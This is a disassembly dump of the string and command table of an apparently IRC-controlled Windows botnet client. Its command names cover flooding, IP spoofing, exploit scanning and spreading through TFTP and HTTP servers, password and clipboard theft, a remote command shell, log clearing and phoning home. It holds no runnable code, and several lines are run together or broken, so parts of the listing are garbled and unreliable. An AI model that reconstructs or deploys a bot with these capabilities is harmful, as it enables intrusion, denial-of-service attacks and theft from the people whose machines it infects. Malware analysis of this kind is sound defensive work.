aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401AA1+3315o
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401AA1+32C9o
		align 10h
dword_42DB20	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401AA1+32AEo
dword_42DB34	dd 7463h	dword_42DB38	dd 76697270h, 2067736Dh, 3A207325h, 7325h					; sub_401AA1+384Do ...
dword_42DB48	dd 5Fh							; sub_401AA1+3282o ...
dword_42DB4C	dd 6D70h						; sub_401AA1+4791o
unk_42DB50	db  2Dh	; -		; DATA XREF: sub_401AA1+31CBo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401AA1+3177o
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401AA1+3156o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401AA1+313Fo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401AA1+3128o
aRin		db 'rin',0              ; DATA XREF: sub_401AA1+3111o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401AA1+30FAo
		align 4
dword_42DBB8	dd 35310302h, 25B302Ch,	91343003h, 1F313003h, 21F4502h
					; DATA XREF: sub_401AA1+30D8o
		dd 2700278h, 26F026Ch, 2740269h, 2C343003h, 3A353103h
		dd 2203403h, 2610246h, 26C0269h, 20640265h, 6F025402h
		dd 2530220h, 72026174h,	2207402h, 70780245h, 6F026C02h
		dd 2740269h, 2207265h, 2680254h, 2650272h, 2C640261h, 2450220h
		dd 2720272h, 272026Fh, 2031033Ah, 3E64253Ch, 2Eh, 0
dword_42DC38	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 21F4502h
					; DATA XREF: sub_401AA1+307Co
		dd 2700278h, 26F026Ch, 2740269h, 2C313003h, 3A353103h
		dd 2203103h, 74740241h,	6D026502h, 2740270h, 20676E69h
		dd 6F025402h, 2430220h,	70026D6Fh, 26F7202h, 7369026Dh
		dd 20340365h, 2E2E7325h, 2Eh
aExploit	db 'exploit',0          ; DATA XREF: sub_401AA1+2FFEo
unk_42DC9C	db  2Dh	; -		; DATA XREF: sub_401AA1+2FDEo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42DCC8	db  2Dh	; -		; DATA XREF: sub_401AA1+2FB4o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401AA1+2F7Co
		align 4
unk_42DD08	db  2Dh	; -		; DATA XREF: sub_401AA1+2F23o
					; sub_401AA1+2F94o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401AA1:loc_4049A2o
					; sub_401AA1+3F59o
		align 8
dword_42DD48	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+2EC2o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 72657302h
		dd 25203403h, 31032073h, 26F026Ch, 65026767h, 6F206402h
		dd 74027502h, 2Eh
dword_42DD90	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+2E83o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 6E492031h, 61027602h
		dd 2064696Ch, 26F026Ch,	6E026967h, 53022002h, 746F6C02h
		dd 24E0220h, 65626D75h,	34033A72h, 2E642520h, 2	dup(0)
dword_42DDE8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+2E7Bo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4E022031h, 2206F02h
		dd 65730255h, 31032072h, 6F026C02h, 65026767h, 69206402h
		dd 7461206Eh, 2530220h,	3A746F6Ch, 25203403h, 2E64h
dword_42DE3C	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+2E2Do
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 73252031h, 0
dword_42DE68	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1:loc_4048BFo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1PoweredByLame	db '1 Powered By lamer .',0
		align 8
unk_42DEA8	db    2			; DATA XREF: sub_401AA1+2DE6o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  53h	; S
		db 2, 65h, 2
		db  63h	; c
		db 2, 75h, 2
		db  72h	; r
		db 2, 65h, 2
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 34h
		db  3Ah	; :
		db 3, 31h, 20h
aFailedToSta_14	db 'Failed to start secure thread, error: <%d>.',0
dword_42DEFC	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 2650253h
					; DATA XREF: sub_401AA1+2D82o
		dd 2750263h, 2650272h, 31300302h, 3431032Ch, 2031033Ah
		dd 3207325h, 2530234h, 65747379h, 2E6Dh
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401AA1+2D7Co
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401AA1+2D75o
		align 4
unk_42DF4C	db  2Dh	; -		; DATA XREF: sub_401AA1+2CE9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_15	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42DF8C	db  2Dh	; -		; DATA XREF: sub_401AA1+2C7Bo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42DFB8	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_16	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42DFF4	dd 234032Dh, 6B636F73h,	3023473h					; sub_411E46+A8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42E01C	dd 234032Dh, 646E6966h,	656C6966h, 2D0302hdword_42E02C	dd 646E6946h, 6C696620h, 65hdword_42E038	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 21F501Fh
					; DATA XREF: sub_401AA1+2AC0o
		dd 26F0272h, 2730263h, 2C343003h, 5D353103h, 3103h
dword_42E060	dd 636F7250h, 20737365h, 7473696Ch, 0dword_42E070	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+2A48o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 52022031h, 6F636502h
		dd 63656E6Eh, 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_4044DCo
					; sub_401AA1:loc_40949Co ...
		align 10h
dword_42E0C0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+2A26o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 44022031h, 63736902h
		dd 656E6E6Fh, 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_4044BAo
		align 10h
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_4044A3o
					; sub_401AA1+7838o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+29F0o
		align 10h
dword_42E130	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+29A4o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 53022031h, 74617402h
		dd 203A7375h, 65025202h, 2E796461h, 2420220h, 220746Fh
		dd 74700255h, 3A656D69h, 25203403h, 2E73h
dword_42E180	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+2966o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 42022031h, 20746F02h
		dd 1F441F49h, 2034033Ah, 2E7325h
unk_42E1B8	db    2			; DATA XREF: sub_401AA1+292Do
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  54h	; T
		db 2, 68h, 72h
		db    2
		db 65h,	2, 61h
		db    2
		db 64h,	73h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	34h, 3Ah
		db    3
a1FailedToSta_0	db '1 Failed to start list thread, error: <%d>.',0
		align 4
dword_42E20C	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 72680254h
					; DATA XREF: sub_401AA1+28D4o
		dd 64026165h, 20310373h, 69026C02h, 74027302h, 2742002h
		dd 2720268h, 2610265h, 2E730264h, 0
dword_42E244	dd 627573h	dword_42E248	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+285Co
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 6C412031h, 20736169h
		dd 7473696Ch, 2Eh, 0
dword_42E280	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 26F026Ch
					; DATA XREF: sub_401AA1+282Co
		dd 30030267h, 31032C34h, 34033A35h, 2460220h, 656C6961h
		dd 2742064h, 220026Fh, 61740253h, 2207472h, 7369026Ch
		dd 676E6974h, 2540220h,	61657268h, 2202C64h, 2720245h
		dd 26F0272h, 33A0272h, 253C2031h, 2E3E64h
dword_42E2E0	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 26F026Ch
					; DATA XREF: sub_401AA1+27B5o
		dd 30030267h, 31032C34h, 34033A35h, 24C0220h, 69747369h
		dd 6C20676Eh, 67026F02h, 2Eh
dword_42E314	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+272Eo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4E022031h, 77746502h
		dd 206B726Fh, 6F666E49h, 2Eh
dword_42E34C	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+26FFo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 53022031h, 74737902h
		dd 49206D65h, 2E6F666Eh, 0
dword_42E384	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+26AAo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 52022031h, 6F6D6502h
		dd 69027602h, 220676Eh,	746F0242h, 2Eh
dword_42E3C0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F501Fh
					; DATA XREF: sub_401AA1+2679o
		dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
		dd 69610246h, 2064656Ch, 2206F74h, 61740253h, 2207472h
		dd 7369026Ch, 676E6974h, 2740220h, 61657268h, 2202C64h
		dd 72720245h, 33A726Fh,	253C2034h, 2E3E64h
dword_42E420	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F501Fh
					; DATA XREF: sub_401AA1+261Ao
		dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
		dd 6F720250h, 63026302h, 2730265h, 6C022073h, 73026902h
		dd 2E7402h
aFull		db 'full',0             ; DATA XREF: sub_401AA1+25FAo
		align 4
dword_42E468	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F501Fh
					; DATA XREF: sub_401AA1+259Bo
		dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
		dd 26C0241h, 2650272h, 2640261h, 72022079h, 26E0275h, 6E69026Eh
		dd 2E6702h
dword_42E4AC	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+254Ao
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 69747002h
		dd 33A656Dh, 73252034h,	2Eh
unk_42E4E4	db    2			; DATA XREF: sub_401AA1:loc_403F21o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  1Fh
		db 43h,	1Fh, 2
		db  6Dh	; m
		db 2, 64h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 5Dh
		db    3
a1RemoteShellRe	db '1 Remote shell ready.',0
		align 4
unk_42E51C	db    2			; DATA XREF: sub_401AA1+2479o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  1Fh
		db 43h,	1Fh, 2
		db  6Dh	; m
		db 2, 64h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 5Dh
		db    3
a1CouldnTOpenRe	db '1 Couldn',27h,'t open remote shell.',0
		align 10h
dword_42E560	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F431Fh
					; DATA XREF: sub_401AA1+245Do
		dd 264026Dh, 2C313003h,	5D353103h, 2203103h, 6D650252h
		dd 2065746Fh, 68025302h, 206C6C65h, 6C024102h, 64616572h
		dd 52022079h, 6E6E7502h, 2E676E69h, 0
dword_42E5AC	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+2447o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65472031h, 6C432074h
		dd 6F627069h, 2E647261h, 0
dword_42E5E4	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401AA1+2419o
		dd 2Dh
unk_42E5FC	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_403EAAo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42E628	db  2Dh	; -		; DATA XREF: sub_401AA1+2402o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42E64C	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_403E79o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42E678	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_403E72o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42E6A4	db  2Dh	; -		; DATA XREF: sub_401AA1+23CAo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42E6C8	db  2Dh	; -		; DATA XREF: sub_401AA1+2337o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_17	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42E704	db  2Dh	; -		; DATA XREF: sub_401AA1+22DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42E740	db    2			; DATA XREF: sub_401AA1+2200o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  48h	; H
		db 2, 2	dup(74h)
		db  70h	; p
		db 64h,	3, 30h
		db  31h	; 1
		db 2Ch,	3, 31h
		db  34h	; 4
		db 3Ah,	3, 31h
aFailedToSta_18	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42E790	db    2			; DATA XREF: sub_401AA1+21A7o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  48h	; H
		db 2, 2	dup(74h)
		db  70h	; p
		db 64h,	3, 30h
		db  31h	; 1
		db 2Ch,	3, 31h
		db  34h	; 4
		db 3Ah,	3, 31h
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42E7E0	db    2			; DATA XREF: sub_401AA1+208Bo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 54h
		db    2
		db 46h,	2, 54h
		db    2
		db 70h,	2, 64h
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a1FailedToSta_1	db '1 Failed to start server thread, error: <%d>.',0
		align 10h
unk_42E830	db    2			; DATA XREF: sub_401AA1+2032o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 54h
		db    2
		db 46h,	2, 54h
		db    2
		db 70h,	2, 64h
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a1ServerStarted	db '1 Server started on Port: %d, File: %s.',0
		align 4
unk_42E87C	db    2			; DATA XREF: sub_401AA1+1F85o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  48h	; H
		db 2, 2	dup(74h)
		db  70h	; p
		db 64h,	3, 30h
		db  31h	; 1
		db 2Ch,	3, 31h
		db  34h	; 4
		db 3Ah,	3, 31h
aAlreadyRunni_1	db ' Already running.',0
		align 10h
dword_42E8B0	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1:loc_403A10o
		dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 2203403h
		dd 69610246h, 2064656Ch, 2206F74h, 61740253h, 2207472h
		dd 61630253h, 2202C6Eh,	726F0250h, 73692074h, 26E6920h
		dd 6C610276h, 64026902h, 2Eh, 0
dword_42E910	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1+1F10o
		dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 2203403h
		dd 69610246h, 2064656Ch, 2206F74h, 61740253h, 2207472h
		dd 61630253h, 2202C6Eh,	72680274h, 2C646165h, 2450220h
		dd 726F7272h, 2031033Ah, 3E64253Ch, 2Eh
dword_42E970	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1:loc_403952o
		dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 25203103h
		dd 34032073h, 6F025002h, 2207472h, 61630253h, 5302206Eh
		dd 72617402h, 20646574h, 31036E6Fh, 3A732520h, 3206425h
		dd 2570234h, 20687469h,	44022061h, 616C6502h, 666F2079h
		dd 25203103h, 34032064h, 65025302h, 646E6F63h, 46022073h
		dd 3726F02h, 64252031h,	2340320h, 6E69024Dh, 73657475h
		dd 2550220h, 676E6973h,	25203103h, 34032064h, 68027402h
		dd 64616572h, 2E73h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401AA1+1E86o
					; sub_401AA1+5AFCo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401AA1+1E7Fo
					; sub_401AA1+5AF5o
		align 10h
dword_42EA30	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1+1CC5o
		dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 2203403h
		dd 726C0241h, 79646165h, 25203103h, 34032064h, 63025302h
		dd 696E6E61h, 220676Eh,	72680254h, 73646165h, 254202Eh
		dd 206F026Fh, 61024D02h, 220796Eh, 65700253h, 69666963h
		dd 2E6465h
unk_42EA98	db  2Dh	; -		; DATA XREF: sub_401AA1+1C53o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_19	db 'Failed to start search thread, error: <%d>.',0
unk_42EAD4	db  2Dh	; -		; DATA XREF: sub_401AA1+1BD7o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401AA1+1BA9o
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401AA1+1B98o
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401AA1+1B82o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401AA1+1B6Bo
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_401AA1+1B41o
dword_42EB54	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+1AF1o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 72432031h, 69687361h
		dd 6220676Eh, 2E746Fh
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401AA1:loc_40357Co
					; sub_401AA1+1B2Bo
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401AA1+1AC6o
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401AA1+1AB1o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401AA1+1A9Co
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401AA1+1A87o
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401AA1+1A72o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401AA1+1A5Do
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401AA1+1A48o
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401AA1+1A33o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401AA1+1A1Eo
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401AA1+1A09o
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401AA1+19F4o
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401AA1+19DFo
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401AA1+19CAo
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401AA1+19B5o
unk_42EC18	db  2Dh	; -		; DATA XREF: sub_401AA1+1977o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401AA1+195Co
					; sub_401AA1+3C69o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401AA1:loc_4033E9o
		align 10h
dword_42EC50	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+1928o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 24C2031h, 6967026Fh
		dd 26C206Eh, 74730269h,	2430220h, 6C706D6Fh, 2E657465h
		dd 0
dword_42EC94	dd 202E6425h, 7325h					; sub_40B311+46o
dword_42EC9C	dd 706D453Ch, 3E7974hdword_42ECA4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F6C1Fh
					; DATA XREF: sub_401AA1+18BCo
		dd 269676Fh, 3003026Eh,	31032C31h, 31035D35h, 26C0220h
		dd 747369h
dword_42ECD0	dd 6F6877h	dword_42ECD4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F431Fh
					; DATA XREF: sub_401AA1+1894o
		dd 264026Dh, 2C313003h,	5D353103h, 3103h
dword_42ECF8	dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401AA1+1876o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401AA1+1861o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401AA1+184Co
aDll		db 'dll',0              ; DATA XREF: sub_401AA1+1837o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401AA1+1822o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401AA1+180Do
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401AA1+17F8o
		align 10h
aUp		db 'up',0               ; DATA XREF: sub_401AA1+17E3o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401AA1+17CEo
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401AA1+17B9o
		align 10h
aProcs		db 'procs',0            ; DATA XREF: sub_401AA1+17A4o
		align 4
aL4m3rz		db 'l4m3rz',0           ; DATA XREF: sub_401AA1+178Fo
		align 10h
aKh4l3d		db 'Kh4l3d',0           ; DATA XREF: sub_401AA1+177Ao
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401AA1+1765o
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401AA1+1750o
aNi		db 'ni',0               ; DATA XREF: sub_401AA1+173Bo
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401AA1+1726o
aClg		db 'clg',0              ; DATA XREF: sub_401AA1+1711o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401AA1+16FCo
		align 10h
aLg		db 'lg',0               ; DATA XREF: sub_401AA1+16E7o
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401AA1+16D2o
aAl		db 'al',0               ; DATA XREF: sub_401AA1+16BDo
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401AA1+16A8o
aT:					; DATA XREF: sub_401AA1+1693o
					; .XPack0:0043AC08o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401AA1+167Eo
dword_42EDB0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+164Ao
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1FailedToReboo	db '1 Failed to reboot system.',0
		align 10h
dword_42EDF0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+1643o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 52022031h, 6F626502h
		dd 6E69746Fh, 53022067h, 74737902h, 2E6D65h
aR3start	db 'r3start',0          ; DATA XREF: sub_401AA1+162Co
aI:					; DATA XREF: sub_401AA1+1617o
					; .XPack0:0043AC14o ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401AA1+1602o
		align 4
aS_1:					; DATA XREF: sub_401AA1+15EDo
					; .XPack0:0043AC20o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401AA1+15D8o
		align 4
aQ:					; DATA XREF: sub_401AA1+15C3o
					; .XPack0:off_43ABF8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401AA1+15AEo
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401AA1+1599o
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401AA1+1584o
		align 4
aR:					; DATA XREF: sub_401AA1+156Fo
					; sub_401AA1+3D76o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401AA1+155Ao
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401AA1+1545o
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401AA1+1530o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401AA1+151Bo
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401AA1+1506o
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401AA1+14F1o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401AA1+14DCo
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401AA1+14C7o
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401AA1+14B2o
		align 10h
